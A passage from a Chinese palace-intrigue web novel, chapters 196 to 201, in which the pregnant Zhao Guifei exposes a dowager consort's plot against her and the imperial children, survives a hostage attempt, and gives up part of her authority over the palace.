“那个宫女具体叫什么奴婢不知道,但是奴婢记得她之前好像陪着沈婕妤来过尚衣局取衣裳!若是没错的话,她应当是钟粹宫沈婕妤身边伺候的人!”
第一百九十六章 芳芸
沈婕妤有些不明白,都已经这个点了,昭贵妃为什么还要将她召到承乾宫来说话。
她有些局促不安地站在下首的位置,头都不敢抬。而上首的昭贵妃既不说话也不看她,仿佛站在这位娘娘面前的不是一个人,而是空气。
也不知道过了多长时间,沈婕妤终于忍不住开口了。
“昭贵妃娘娘,如今天色已晚了,臣妾还要回宫哄两位皇子睡觉,娘娘若是有什么话,还是早些说吧。”
“看来沈婕妤还记着之前在潜邸时圣上警告你的话啊,本宫还以为你如今进了宫当了宫妃就忘得一干二净了呢!”
眼见着沈婕妤终于忍不住开口,夏韶宁也懒洋洋地出声了。
“贵妃娘娘若是有事吩咐,臣妾就站在这里洗耳恭听便是,您没必要对着臣妾如此这般阴阳怪气!”
沈婕妤这人,一直以来都有些自命不凡。当初萧祈安定位份的时候,她总以为凭着她生了两个儿子怎么着也能封个九嫔,说不准运气好还能往四妃上走一走。
可是当圣旨真的下来的时候她才得知,她居然连只养育了一个公主的谢妩都比不上,气得她三天都没有跨出房门。
她实在是觉得太丢脸了。
如今站在下首听得夏韶宁的这番明晃晃的嘲讽,她心中也是一团火。
“这么些年了,沈婕妤还是一如既往的气性大啊。”
听得沈婕妤这般语气不好,夏韶宁倒是也不生气。她缓缓地站起身来朝着沈婕妤走了过去,只不过,她这会儿的目标却是站在沈婕妤身后的芳芸。
“说说吧,你家主子是怎么吩咐你去刻意接近大公主,你又是怎么忽悠着让大公主在三皇子的衣裳上动手脚的?”
夏韶宁一开始说话还是懒洋洋的,直到说到大公主往三皇子的衣裳上动手脚,她的语气便陡然严厉了起来!
“贵妃娘娘您说什么呢?什么接近大公主?什么往三皇子的衣裳上动手脚?臣妾……怎么听不懂您在说什么?”
沈婕妤一开始还以为夏韶宁找她来是为了朝着她摆威风磋磨她,这会儿听到夏韶宁的这番话,吓得脸色瞬间就变得苍白起来。
她转过头来看着跪在地上的芳芸,却见她一直不肯出声,这会儿却是真的慌了起来。
“芳芸!这到底是怎么一回事儿,你说话啊!”
眼见着沈婕妤慌了起来,芳芸却并不理她,而是忽然如同发了疯一般对着夏韶宁就拼命地磕起头来。
“昭贵妃娘娘饶命啊,这一切都是沈婕妤吩咐奴婢做的,并非奴婢自愿的!求贵妃娘娘开恩,饶过奴婢吧!!”
“本宫给你最后一个机会,把你做过的事情一五一十交代清楚。若是有一点不符合实际情况的,本宫即刻就能要了你的命!”
夏韶宁站起身来,厉声对着跪在地上的芳芸一字一句地呵斥道。
“奴婢不敢!奴婢不敢!”芳芸又朝着夏韶宁磕了几个头,这才哆哆嗦嗦地开口了。
“是沈婕妤嫉妒昭贵妃娘娘您如今得宠又有孕,怕您生下孩子抢了四皇子和五皇子的风头,这才让奴婢想办法去接近大公主,从而一点点诱导让大公主恨上了您。”
“沈婕妤让奴婢游说大公主往三皇子的衣裳上抹了能让人长疹子的药,而后又让人将三皇子引到千里湖边,只等着贵妃娘娘赶到湖边之后再让大公主趁乱将您推到湖里去,最好让您一尸两命才好!”
芳芸虽然面上一副十分害怕的样子,可是说起话来却口齿清楚,甚至连一个磕巴都没有打。
很显然,芳芸说的一切都与一开始夏韶宁的设想一模一样,所以她倒是并没有对这番供词感觉很意外。
可是站在一旁的沈婕妤听完芳芸的话,本就苍白的脸如今更是一点儿血色都无了,整个人猛地就开始发起抖来!
她伸出手来指着芳芸指了半晌,却气得什么话都说不出来。等了好一会儿,这才十分艰难地憋出了一句——
“你这贱婢是受了谁的指使,竟然敢这般污蔑我!”
“主子!这些事情都是您一字一句交代奴婢去做的!如今东窗事发,您可不能把罪名都推到奴婢身上啊!”
芳芸看着沈婕妤这般着急忙慌地想把自己摘出来,彻底慌了。
她跪在地上思考了一会儿,这才又对着夏韶宁磕头道,“贵妃娘娘若是不信,大可以让人去搜一搜沈婕妤的房间,那能人身上起疹子的药,就藏在沈婕妤的妆奁里!”
“李顺,你立刻带人去钟粹宫给本宫搜!”
听得芳芸这番话,夏韶宁立刻转身对着候在一旁的李顺吩咐道。李顺会意,转头就带着手底下的内侍们往钟粹宫去了。
这会儿的沈婕妤已经没办法站稳了,如今她已经吓得跪坐在地上,一句话都说不出了。
夏韶宁瞥了她一眼,一时之间倒是不能确定这女人是不是在演戏。
她皱着眉头想了会儿,最后觉得还是先看看再说。
也没过多长时间,李顺便脚步匆匆地回了承乾宫。只是这会儿入了殿的时候,手上却多了个纸包。
“娘娘,奴才在沈婕妤的妆奁里找到了这个。”李顺伸出双手,将那个纸包递给了夏韶宁。
夏韶宁对着辛夷使了个眼色,辛夷便接了过来。
只见她小心翼翼地将纸包打开,伸出拇指和食指拈了点纸包里的东西往鼻子旁边闻了闻,只一会儿,辛夷便对着夏韶宁肯定道,“娘娘,不会错!这是曼陀罗的根茎制成的粉末,寻常人只要沾上一点儿便会全身红疹,热痒难耐!”
一席话落,殿内所有人都呆住了。
“好得很,好得很啊!”听完了这整件事情的来龙去脉,夏韶宁感觉自己的后槽牙都快咬烂了。
她一步一步走到了沈婕妤的跟前,厉声道,“当初在潜邸的时候,本宫只觉得你这人心思多,但是你好歹没那害人命的胆子。没想到如今进了宫成了宫妃,你的胆子也变大了!”
“你自己也是两个孩子的母妃,怎么就能狠心做出这般利用别人的孩子来陷害本宫的事情?!”
“蕙心,将这两人押到紫宸殿去!后宫里发生了如此恶劣的事情,要如何处置,是该由圣上好好定夺了!”
第一百九十七章 还是有疑点
“陛下,昭贵妃娘娘来了。”
已近戌时末了,萧祈安仍伏在案桌上批折子。听得张全和通报说夏韶宁来了,他心中倒是隐隐有些意外。
宁儿甚少这么晚还来紫宸殿找他。
“传她进来。”停了笔,萧祈安抬头对着张全和道。
谁知得了话的张全和并没有立刻转身出去通传,而是站在原地一副为难的样子。
“怎么回事?”瞧着张全和这副样子,萧祈安心中更是奇怪了。他想了一会儿,便丢了笔站起身来自己往门口去了。
“陛下,您别急,贵妃娘娘她不是一个人来的,沈婕妤也跟着……”
还没等张全和把话说完全,萧祈安已经伸手将紫宸殿的门打开了。
门一开,映入眼帘的就是满脸怒气的夏韶宁,以及哭得满眼是泪的沈婕妤。
“你怎么来了?”很显然,这话是对着沈婕妤问的,自从下药那件事以后,萧祈安就已经很不耐烦见到这个女人了。
“宫廷丑事,陛下,咱们还是进去说吧。”
这会儿的夏韶宁虽然生气,但是她的脑子还是清楚的。这件事情毕竟涉及大公主,她不希望被有心人听到从而传得满后宫都知晓了。
听得夏韶宁的话,本就面无表情的萧祈安这会儿面上的神情更加严肃了。
他的目光在两人脸上转了一会儿,最终还是开口道,“那就进去说!”
几人入了殿,刚一站定,夏韶宁就开口了。
“陛下,前段时间臣妾落水以及三皇子身上莫名长疹子的事情,已经有眉目了。”
一听得夏韶宁今日是为着这件事情来的,刚想坐下的萧祈安瞬间就站了起来。
他没说话,只是直直地看了夏韶宁一眼,夏韶宁会意,转头对着芳芸道,“把你刚刚在承乾宫说的话一字一句说给陛下听!”
这会儿的芳芸也是怕到了极点,但是如今到了这个份上,她也就只能豁出去了。
于是她便立刻跪下身来,一边朝着萧祈安磕头,一边把刚刚的事情又复述了一遍。
当然,和在承乾宫时说给夏韶宁听的一模一样。
“沈婕妤,你有什么要说的?”
听得芳芸的话,萧祈安这会儿已经是火冒三丈了,但是理智还是告诉他他还是应该听一听沈婕妤有什么要说的。
毕竟,他绝对不做那种冤枉女人的事情。
沈婕妤本来都觉得自己死定了,听得圣上居然给了她一个辩解的机会,她忙不迭地就跪了下来。
“陛下明鉴啊,臣妾真的不知道这是怎么一回事儿!臣妾用自己的性命发誓,臣妾真的没有做过这件事儿!”
沈婕妤这会儿虽然很害怕,但她的脑子却异常清楚。
她明白这是萧祈安给她最后的机会了,若是她不能好好抓住,她怕是等不到天亮就要被打入冷宫了!
所以这会儿虽然她看起来一副脆弱不堪的样子,但是说起话来却十分坚定且有条理。
“臣妾知道圣上不喜臣妾,但是若是有人要把臣妾没做过的事情扣到臣妾头上,臣妾也是不依的!”
“首先,这芳芸并不是臣妾从潜邸带进宫的人,她的身家背景臣妾并不知道,所以也从不信任她不叫她做近身的事情。再者,她在臣妾身边服侍还不到一年,就算臣妾起了要害人的心思,为何不让自己信任的心腹去,而偏要让她一个并不得臣妾信任的人去呢?”
“而且最重要的事是,臣妾自知自己不得宠,连带着四皇子五皇子也不得宠。所以不管昭贵妃能不能生下这个孩子,反正臣妾的两个孩子注定都是不得宠的,那臣妾又何必冒着如此大的风险去做这种伤敌一千,自损八百的事儿呢?!”
这会儿的沈婕妤已经不哭了,她只是有些倔强地跪在地上,一点一点地将自己分析出来的事情说给萧祈安和夏韶宁听。
果然,沈婕妤一席话落,萧祈安和夏韶宁都沉默了。
特别是站在一边的夏韶宁,她居然觉得沈婕妤的话很有道理。
再仔细想一想刚刚在承乾宫里芳芸说的话做的事,好像的确经不起细细推敲。
沈婕妤又不是吴美人那种蠢货,她日常虽然不太爱说话,但是夏韶宁明白她这人的心思可深着呢。
她就算要用药害人,也没道理害完了人以后还故意把药放在自己日日要用的妆奁里吧?难道她真的就如此胆大到一点儿都不怕东窗事发查到她的身上吗?
“陛下,如此看来这件事儿的确是有些疑点,今夜……是臣妾莽撞了。”
眼见着萧祈安听完了沈婕妤的话一直都没有出声,夏韶宁便准备跪下身来朝着萧祈安请罪了。
只是她的膝盖只是稍稍弯了弯,就被萧祈安一把拉了起来。
“无妨,说来说去都是朕不好,宁儿受了委屈,朕也没及时去查清楚,还要宁儿怀着孕操心这些糟心事儿!”
萧祈安将夏韶宁拉了起来,说话的语气到底还是弱了下来。
面对这丫头,萧祈安实在没办法对她凶起来。
“不管怎么说,这件事总是与沈婕妤有关,从明日起沈婕妤就禁足于蒹葭阁,待这件事情查清楚再行下一步定夺。”
萧祈安松开夏韶宁的手,转头厉声对着沈婕妤道,“你可有异议?”
“只要陛下早日查清事实的真相,还臣妾一个清白,不管要臣妾禁足多久都无妨,臣妾没有异议。”
听得萧祈安对自己的处置,沈婕妤没再多说一句。她只是朝着萧祈安又磕了一个头,转身就被张全和带了下去。
“至于这个宫女……”眼见着沈婕妤被带了下去,萧祈安又将目光投到了如今已经瑟瑟发抖的芳芸身上。
“就把她关到永巷去吧,想来永巷里的那些嬷嬷,有的是办法能让她吐出真话!”
“陛下饶命啊……陛下饶命啊……求您不要把奴婢送到永巷去啊!求您留奴婢一条命吧!”
萧祈安的话音刚落,便有内侍架着芳芸将她从紫宸殿了拖了出去。直到她已经被拖出很远了,夏韶宁似乎还能隐隐约约听到她那般撕心裂肺求饶的声音。
不知为何,她忽然就觉得,好像有些累了。
第一百九十八章 居然是她
一番闹腾之后,这个时候的紫宸殿又恢复了以往的平静。
“宁儿是不是累了?”萧祈安抬眼瞧着夏韶宁似乎面色不大好,于是心中便也有些担心。
他走到夏韶宁身边轻轻拉过她的手,小声道,“天晚了,不要来回折腾了,今夜朕陪你宿在紫宸殿好不好?”
“好。”此时的夏韶宁的确不愿意再走回承乾宫了,听得萧祈安这么说,她自然顺势答应了下来。
见她答应,萧祈安也不忙着批折子了,扶着她就往内殿去了。
两人一番洗漱以后,这会儿便已经躺在了床上。只是很明显,此时的两人都毫无睡意。
“是朕没有教好孩子,心若才会变成那个样子。”
两人并排躺了好一会儿,黑暗中的萧祈安却突然出声了。
“这件事情其实也不怪大公主,她不过一个不到六岁的孩子,只是被人挑唆了才会盲目地恨上了臣妾。”
夏韶宁的脸上没有什么表情,说话的语气也是淡淡的。
“只是她到底差点害了臣妾的孩子,所以臣妾也没办法说出原谅她这种话。退一步说,就算臣妾能原谅她,臣妾相信臣妾腹中的孩子也不会原谅她。这一次臣妾与孩子没有出事是因为我们运气好,而不是她的运气好。陛下,您能明白臣妾的意思吗?”
萧祈安知道自从夏韶宁上次落水以后心中就一直憋着一股气,而后自己又没有及时的去查清这件事情给她反馈。所以哪怕如今夏韶宁说出这番话,萧祈安非但不会怪她,甚至还有些心疼她。
“以后重华宫里的事情,就让母后多费些心吧,那两个孩子……也多让母后管一管。”
萧祈安这话其实已经说得很直白了,夏韶宁也听明白了。
“是,既然陛下今日说了这番话,那臣妾以后就离重华宫远一些。”
对于萧祈安这番话,夏韶宁并没有觉得生气,她甚至觉得松了一口气。
从前一直照看着大公主和三皇子,实在是因为如今她手中握着这主理六宫的权利,若是自己不管不顾怕其他人会多嘴。再一个也算是念着与孝端皇后相识一场,为她做最后一件自己能做的事罢了。
既然如今萧祈安这么说了,她以后就再也不用管重华宫那些事了。
毕竟她可没那种死乞白列非要对着个想要害自己的白眼狼小孩好的癖好。
于是这个晚上,两人什么都没有做,久违的彼此依偎着睡了个好觉。
***
若是说大理寺是宫外的人犯了罪最害怕去的地方,那永巷就是宫里的人犯了错最不想去的地方。
芳芸被送去永巷不过三日,永巷的嬷嬷就从她嘴里把事情的真相统统给撬了出来。
萧祈安和夏韶宁看着呈上来的芳芸的口供,两个人的脸上都露出了难以置信的神情。
两个人对着那份口供沉默了很久,最后还是萧祈安开口对着她道,“走吧,和朕一道去一趟同道宫吧。”
同道宫。
说实话,入宫快一年了,夏韶宁从来没有来过这个地方。
夏韶宁站在同道宫的殿外,明明这里的院子很大,洒扫的宫人也将这里打扫得很干净,可是她还是觉得整个同道宫中都散发着一股微微腐烂掉的味道。
她忍不住拿起手里的帕子捂住了口鼻。
“给陛下请安,给昭贵妃娘娘请安!”
两人在殿外站了好一会儿,这才看见一个内侍模样的人慌慌张张地从里头跑出来给两人请安。
“大白天的,整个殿外一个人都没有,你们都做什么去了!”
萧祈安瞥了一眼那个内侍,说话的语气忽然严厉了起来。
“陛下恕罪……是这里住的太妃娘娘们不喜欢宫人们没事在院子里瞎晃悠,所以……所以奴才们这才都回屋子里去了!”
眼见着圣上生气了,这个内侍便急忙跪下身来朝着他解释道。
“罢了陛下,您瞧着这院子打扫得这么干净,这宫里的宫人应该也没有偷懒,咱们还是办正事要紧。”
眼见着萧祈安仍要开口,站在他身旁的夏韶宁适时的拉住了他的手。
萧祈安的火气这才慢慢降了下来。
“德太妃住哪个屋子?”萧祈安缓了缓情绪,转头对着那内侍询问道。
“德太妃住在安和楼,奴才这就带陛下和贵妃娘娘去!”
听得萧祈安的问话,那内侍一刻也不敢耽误,转身就带着夏韶宁和萧祈安往安和楼去了。
夏韶宁和萧祈安来到安和楼的时候,德太妃正眯着眼睛坐在院子里晒太阳。
听得耳边传来了来人的声音,她却连头也没有抬,仍旧保持着同样的姿势继续坐着。
夏韶宁抬起头来端详起了眼前的德太妃,猛然发现如今的她已经和几年前自己在皇家马场见到的她完全不同了。
她的鬓边不知何时早已爬满了白发,从前保养得宜的脸上也多了许多的皱纹。
远远看去,真真是个已经上了年纪的老太太了。
“德母妃的心理素质还真是不错,您差点一石三鸟害了朕的妃子和孩子,如今倒是还能这般悠闲地坐在这晒太阳!朕可真是不得不佩服您!”
萧祈安抬脚走到了德太妃的跟前,强迫她必须面对自己。
“陛下如今都当上皇帝了,倒是不爱与从前那般装模作样了。”
听得萧祈安这般明显生气的语气,德太妃这才不紧不慢地睁开了眼睛。
只是她依旧坐在椅子上,根本没有想要起身的意思。
“朕没那么多时间同你打哑谜,芳芸已经招了,说她从前就是在你身边伺候的!是你让她刻意去接近大公主,忽悠着让大公主给三皇子下药。又利用大公主对昭贵妃的恨意让她将有孕的昭贵妃推入千里湖,最后再让芳芸将一切罪名都推到沈婕妤的身上!”
“德太妃啊德太妃,说起来您从前在父皇后宫里的时候倒是个安分守己的主,没想到您的心计倒是一点儿不比先皇后差!您说朕会装,朕倒是瞧着您才是最会装的吧!”
萧祈安站在德太妃的面前,居高临下地将芳芸的供词一字一句地说给了德太妃听。
说起来真的谁都未曾想过,这整件事的幕后黑手,居然会是她!
第一百九十九章 不仁慈
“陛下这话说得我可就不明白了。怎么,这个世界上只有你的孩子是人,别人的孩子就不是人了吗?”
听得萧祈安这一字一句的指责,本还安安静静地坐在椅子上的德太妃,缓缓地站了起来。
她的个子没有萧祈安高,背也有些驼了,但是此时的她仍是倔强地抬起头来目视着萧祈安,眼睛里带着满满的不屑。
“说起来,废太子和我儿输就输在从不懂得在先帝身上下工夫。若是他们能做到三分你这种假仁假义的表面功夫,这皇位上现在坐着的是谁,还不一定呢!”
“可怜我儿被先帝软禁在五皇子府里,如今都快一年了,连个盼头都没有。世人都说光启帝仁慈,可是你居然连自己的哥哥都不顾,任由他在那小小的皇子府里自生自灭!我就不懂了,你到底哪里仁慈了?!”
“所以我恨你,我恨你凭什么能美人在侧,儿女环绕!我要毁了你,毁了你所拥有的一切!因为这一切,原本就该是我与我儿拥有的!”
德太妃一开始说话的时候语气还算平静,直到说到五皇子如今仍被软禁在五皇子府的时候,她整个人就变得激动起来,说话的语气甚至有些癫狂了。
“呵,德太妃这话说得可真叫一个简单!您的儿子,朕的五哥他是因为犯了严重的错误被先帝软禁在五皇子府的!您可搞清楚,他从前可是废太子那一党的!”
“朕登基以后非但没有治他一个谋反同谋的罪,还能好好留他一条命让他在府中苟活着,这难道还不叫对他仁慈?”
看着德太妃那般激动的样子,此时的萧祈安从心底里觉得好笑。
他靠近德太妃盯着她看了半晌,忽然就扬起了嘴角冷笑道,“只是如今……朕忽然就改变主意了。事到如今,您与您的儿子,朕一个都不会留!”
萧祈安只要想到眼前的这个女人,居然利用他只有六岁的女儿去害他最爱的女人,差点害得宁儿一尸两命,他就恨不得此刻就将这女人千刀万剐,以解心头之恨!
“你敢杀我?我的哥哥可是前太子少师!我们孟家祖上可是大容的开国功臣!你师出无名就这样杀了我与我儿,你就不怕引起朝中那群旧臣与世家的公愤吗?!”
眼见着萧祈安这回是来真的,刚刚还一脸得意的德太妃,脸色瞬间就变得苍白起来。
她仿佛不相信般站在原地呆愣了好一会儿,忽然就以迅雷不及掩耳之势猛地冲到了站在一旁的夏韶宁的身后,不由分说地从腰间摸出一把匕首直直地就抵到了她的脖子上!
夏韶宁听得萧祈安与德太妃的对话,一开始只是默默地站在一旁并不想出声。只是还没等她反应过来眼前发生了什么,忽然就感觉颈脖上有一个冰冷而尖锐的东西抵了过来,她瞬间倒吸了一口凉气,站在原地一动都不敢动。
“你这疯女人,你要做什么?”眼前的意外发生的太过突然,等到萧祈安反应过来的时候,夏韶宁已经被德太妃牢牢地禁锢在了怀里。
“你不是想要我与我儿的命吗?好啊,既然这样,大不了让你最爱的女人和你那未出世的孩子给我们陪葬!如此我们也死的不亏了!”
此刻的德太妃,早就已经失去了基本的理智。只见她一只手死死地圈住了夏韶宁的脖子,另外一只手则是牢牢握着那把匕首。
这会儿的夏韶宁,大脑忽然就感觉到一片空白。但是这种空白的感觉也就持续了几秒钟,她便立刻回过了神来。
“太妃,您刚刚明明说了,陛下这会儿若是要杀了你,那是师出无名。可是若是你今日杀了我,那便不叫师出无名了。”
“劫杀宫妃可是诛九族的死罪,五皇子还有那么多孩子,您难道就忍心看着这些孩子因为您的原因小小年纪就身首异处吗?”
夏韶宁虽然心里已经慌的不行了,但是此时说话的语气却是比以往任何时候还要镇定。
“呵,你休想拿这种鬼话来糊弄我!就算我今日不杀你,到时候我与我儿死了,我儿的那些孩子一样也是个死字!他萧祈安就是个假惺惺的伪君子,他怎么可能会放过我们?!”
这头的夏韶宁虽然循循善诱,但是眼前的德太妃却意外地不为所动。她在宫里生活了这么多年了,怎么可能会因为夏韶宁这几句不痛不痒的话就妥协呢?
“不是的!太妃您还记得废瑞王的嫡子吗?当初废瑞王和叶家犯了那么大的罪,先帝要杀了废瑞王所有的孩子,是陛下偷偷将那个孩子救下来了,偷偷放在宫外找人养着的!”
听得德太妃的这番话,夏韶宁便立刻将心中早就想好的话说了出来。
果然,夏韶宁这番话说完,她便能感觉到德太妃禁锢着她的那只手稍微松动了一下。
也就是因为这番松动,夏韶宁顺利将手摸到了自己的腰间,摸出一包生石灰狠狠地就朝自己的身后洒去!
德太妃根本就没有想到眼前这个看似柔柔弱弱的女子居然会随身携带生石灰这种东西,这会儿被夏韶宁洒了满身满眼,瞬间就感觉到自己的眼睛火辣辣地疼。
“你这贱人,居然敢算计我?你不得好死!”
德太妃吃痛,痛苦地倒在了地上,只是嘴里还在不住地咒骂着此时已经躲的老远的夏韶宁。
“呵,你自己都说了,陛下是不可能会放过你们的,你又怎么会觉得陛下他会违背先帝的意思冒险去救下废瑞王的孩子呢?”
夏韶宁抬头看了一眼萧祈安,却见这会儿的他面上居然是满满的笑意,于是她说话的胆子更大了。
她稳了稳心神,缓步走到了此时早已被裴言控制住的德太妃面前,语带嘲讽道,“只是你说了那么多,有一句话是完全正确的。”
“咱们这位陛下,他还真不是个仁慈的主。只是实在不好意思,作为他的贵妃,我还就喜欢他这种不仁慈。”
“因为啊……”说到这儿,夏韶宁也笑了。
“我夏韶宁,从来也不是个多仁慈的人啊!就在你满腹怨恨抱怨别人对你们不仁慈的时候,你们有没有哪怕一刻摸着你们自己的良心想一想,你们这种人,配得到别人的仁慈吗?!”
第两百章 矛盾
光启元年十一月初五,先帝朝五皇子萧祈贺与其母德太妃密谋刺杀光启帝失败。
帝虽大怒,但念及萧祈贺毕竟是其兄长,德太妃更是其长辈,不忍要其性命。
只是朝中以丞相燕川等文官为代表,冒死直谏要求圣上处置了这两个恶人,不然朝中众人总归会担心圣上的安全问题,这两人始终是个隐患。
而出乎萧祈安意料之外的是,德太妃的母家孟家,居然也站在了燕川那一边。
德太妃的长兄孟怀英,甚至跪在了紫宸殿外,痛哭流涕向圣上陈情因为父亲早亡,自己这个做长兄没有教导好妹妹,这才导致他这个妹妹与外甥做下了这等不可饶恕的事情。
他请求圣上从重发落萧祈贺与德太妃,也坦言若是圣上仍旧心中有气,也可以从重处罚孟家。只是无论圣上对孟家有任何处罚,他孟怀英一应承担便是。
一时之间,萧祈贺与德太妃成为了大容朝堂与坊间人人喊打的过街老鼠。
于是半月后,萧祈安最终决定了对两人的处置。
萧祈贺与德太妃母子即刻斩首示众,萧祈贺的妻妾子女,成年的流放漠州,十岁以下未成年的皆没入教司坊为奴。
孟怀英举家外放越州,十年内不得升迁,考核不得评优。后续根据其表现再行其他决定。
……
就在处置完萧祈贺与德太妃以后,萧祈安转头带着夏韶宁去了太后的永寿宫。
“给母后/太后娘娘请安。”两人入了殿来,给太后行了一礼。
这会儿的太后正坐在上首,手中抱着一只毛色雪白的猫儿。看着萧祈安旁若无人地牵着夏韶宁入了殿来,她的眉头瞬间就皱了起来。
“圣上许久不来永寿宫了,今日来是有事儿?”
太后摸了摸那只猫儿的背,轻轻地将那猫儿就丢了下来。那猫儿轻巧一跃,一双琉璃般的眸子忽然直直地往夏韶宁身上投来,口中忽然就发出了几声“喵喵”的叫声。
被这猫儿一叫,夏韶宁却不知为何忽然感觉身体有些僵硬了起来。
萧祈安感受到了夏韶宁此刻的紧张,于是他立刻往前跨了一步,直接将夏韶宁与太后隔了开来。
“是,朕如今的确是有件急事要麻烦母后。”
萧祈安根本懒得听太后的唠叨,直接就准备单刀直入了。
“昭贵妃有孕,日常管理六宫之事就已经耗费了她太多的精力,而如今重华宫里那两个孩子还一个赛一个的不省心。”
“所以朕想着大公主与三皇子日后还是要多多麻烦母后照看着,也让昭贵妃安心养胎,好平安诞下皇嗣才是要紧事。”
“呵,既然圣上这么说了,那哀家倒是想劝圣上一句,您做事也不要太偏心了!”
眼见着萧祈安自从入了殿以后,除了对着自己请了个安以后丝毫不顾及自己的面子,太后心中早就不悦了。
“大公主和三皇子怎么说都是孝端皇后的孩子,你就算偏心其他人,也不该做得这么明显才对!”
“母后什么都不知道,倒是好端端给朕安上了个偏心的帽子,也是可笑!”
萧祈安今日本就是准备带着夏韶宁来知会太后一声的,却没想到他才说了一句话,太后就给他安上了个偏心的帽子。
他的脸上一下子就挂不住了。
再者退一万步说,他就是偏心怎么了?他是皇帝,难不成他连喜欢谁不喜欢谁的权利都没有了?
眼见着这两母子还没说上一刻钟的话又是一副剑拔弩张的样子,站在一旁的夏韶宁忽然觉得自己这会儿的存在很尴尬。
她本能地想要退出去,不想掺和这两母子之间的争吵。只是此时她的手被萧祈安牢牢拉住了,她的心想走,但是手却一点儿抽不出来。
“反正朕今日来就是通知母后的,以后大公主和三皇子若是出了什么事儿,朕第一时间就会来永寿宫寻母后!还有,您不要因为朕的原因就迁怒于昭贵妃,她凡事都是以朕的话为先的,朕让她做什么她就做什么,她什么都不知道!”
话说到这个份上了,萧祈安也就不耐烦继续待在这里了。他面无表情地对着太后说完了这番话,便拉着夏韶宁从永寿宫离开了。
“梅青!你看啊,这就是哀家教出的好儿子!早知道他当上皇帝是这个德行,哀家当初倒是不如站在先皇后那一边!死了就死了,倒是不用如今这把年纪了还受这种气!”
眼见着萧祈安头也不回地就离开了,此时的太后感觉自己的肺都快气炸了。
“哎呦,太后娘娘您这说的叫什么话?!这些年了您怎么就是学不会呢?奴婢不是同您说了好多遍了,圣上他说什么,您顺着他的话说不就行了!都是亲母子,您与他置什么气啊!”
眼见着太后气成了这般样子,已经伺候了她几十年的梅青姑姑也忍不住重重地叹了一口气。
这么多年了,太后娘娘和圣上这两母子的关系,看样子倒是越来越差了。
“罢了,他要哀家管孩子哀家管着就是了!你现在就去重华宫把大公主和三皇子接到永寿宫来,从今以后,这两个孩子就是哀家的!他们的父皇不疼他们,哀家这个祖母疼!”
且说那头的萧祈安怒气冲冲地拉着夏韶宁回了承乾宫,这会儿正坐在椅子上一声不吭。
“被说偏心的人是臣妾,陛下生这么大的气做什么?”
看着眼前的萧祈安板着一张脸,夏韶宁心中只觉得好笑。
“朕不喜欢人家说你,太后也不行!”
这个时候的萧祈安,整个人看起来像一只炸了毛的猫。
“您不需要生如此大的气啊,您只要把您的诉求同太后娘娘说清楚就好了,其他的让太后娘娘自己决定怎么做就行了嘛!”
夏韶宁挨着萧祈安坐了下来,轻轻地拉了拉他的手,“好啦,别生气了。”
被夏韶宁这般软言软语哄了一会儿,萧祈安心中的气倒是好像消了不少。
眼见着萧祈安渐渐平静了下来,夏韶宁顿了好一会儿,还是决定将自己在心里想了许久的一件事情同他商量一番。
“既然陛下不生气了,臣妾这会儿正好有件事儿想同陛下商量一下。”
第两百零一章 放权
“刚刚在永寿宫的时候,陛下有句话说得很对。臣妾如今有孕了,管理六宫之事难免有些力不从心。所以……臣妾想着,能不能从后宫的姐妹中挑些人出来帮一帮臣妾,也好叫臣妾轻松些。”
夏韶宁一边说,一边忍不住扯着萧祈安的手就晃了起来,说话的语气也带了些撒娇的意味。
“你这丫头倒是多少年如一日的不愿意管事啊!”看着夏韶宁这个样子,萧祈安也忍不住伸出食指来点了点她的头。
“以前在潜邸的时候你就想方设法地不愿意管家,如今朕把权利都塞到你手上你还想着要分出去,你可真行!”
话虽然是这么说了,只是萧祈安却一点都没有生气的样子,语气里甚至带了些许宠溺。
“既然你这么说了,那你心里肯定也有人选了,说说吧,你怎么想的?”
“这事儿哪里是臣妾想让谁管就让谁管的啊!这整个大容皇宫都是陛下的,当然陛下说什么就是什么啦!”
虽然萧祈安宠着她,但凡她提出的请求他也鲜少有不答应的。但是夏韶宁心里可有一杆秤,什么事说出来是无伤大雅的,而什么事又是不能在萧祈安面前逾矩的,她心里可门儿清。
果然,听得夏韶宁这番“拍马屁”的话,萧祈安的面上便露出了笑容。
“朕知道你不喜欢上头那几个,你放心,朕不会把权利放给她们的。”
萧祈安并没有点名,但是彼此心里都明白这上头那几个指的是哪些人。
“苏修媛出身有名的江州苏家,他的父兄同你的父兄一样都是朝中难得的文臣清流。且她性子安静,跟着朕这些年了也没做过什么出格的事情,让她帮你分分忧也是好事。”
“不过朕也知道,在这后宫里你也就同谢充媛一人关系好些,且她自从养育了二公主以后性子倒是比从前好了许多。那就让她跟在苏修媛的身边也学一学,若是有些什么事情也好及时告诉你。宁儿觉得可好?”
听得萧祈安这般考量与分析,夏韶宁倒是也没什么不满意的。
其实她说出这话之前也猜到了萧祈安大概率会把这件事情交给苏修媛去做,只是她没想到萧祈安为了让她安心,还把谢充媛捎带上了。
这对谢充媛来说,倒是算得上是意外之喜。
“陛下字字句句都在为臣妾考虑,臣妾哪还有觉得不好的!”
听完萧祈安的话,夏韶宁便伸出手来环上了他的脖子,脸上的表情也是十分开心的样子。
“如今什么事都没有你的身体健康和你肚子里的孩子重要,以后若是再有什么事,直接同朕说就好了,朕都依着你。”
萧祈安将夏韶宁拉进了怀里,随即在她耳边喃喃道,“你有孕的日子朕可太难挨了,这里都要憋坏了!”
他扯着夏韶宁的手,顺着自己的胸口一路往下,摸着摸着……夏韶宁的脸霎时就红了起来。
“嗯……那臣妾……臣妾想办法帮陛下舒缓一番,您看成不成……”
面前脸红的夏韶宁还没将口中那有些烫人的话说完,忽然感觉整个人就被萧祈安小心翼翼地腾空抱了起来!
“宁儿也太害羞了,自你有孕以后朕每次与你在一起的时候都想听你说这句话,但是每次都不说!今日可算是说了句合朕心意的话了!”
“哎呀,陛下您好不知羞啊……这种事儿……怎么能总是挂在嘴边呢……”
剩下的事情就暂时按下不表了,帐子内自然又是一番好风景……
某人时隔几个月,终于得到了一次心灵和身体的双重释放。
***
当圣上让苏修媛和谢充媛共同协理六宫的旨意下来的时候,后宫又炸了一次锅。
这件仿佛风如标一样的事情,让后宫众人的心思又开始活跃了起来。
许多人都在猜测,昭贵妃是不是做了什么事情惹圣上不开心了,要失宠了?不然圣上为何好端端地要把她手中的权利分给别人呢?
当然,被圣上选中的苏修媛和谢充媛,这会儿也是一副摸不清头脑的样子。
谢充媛这人性子本就急躁,如今忽然这么大的一件事落到了她的头上,她莫名的就觉得有点心慌。
“主子,您已经在院子里来来回回走了半个时辰了,您……真的没事儿吗?”星罗看着眼前的谢充媛一副慌张的样子,只觉得有点摸不住头脑。
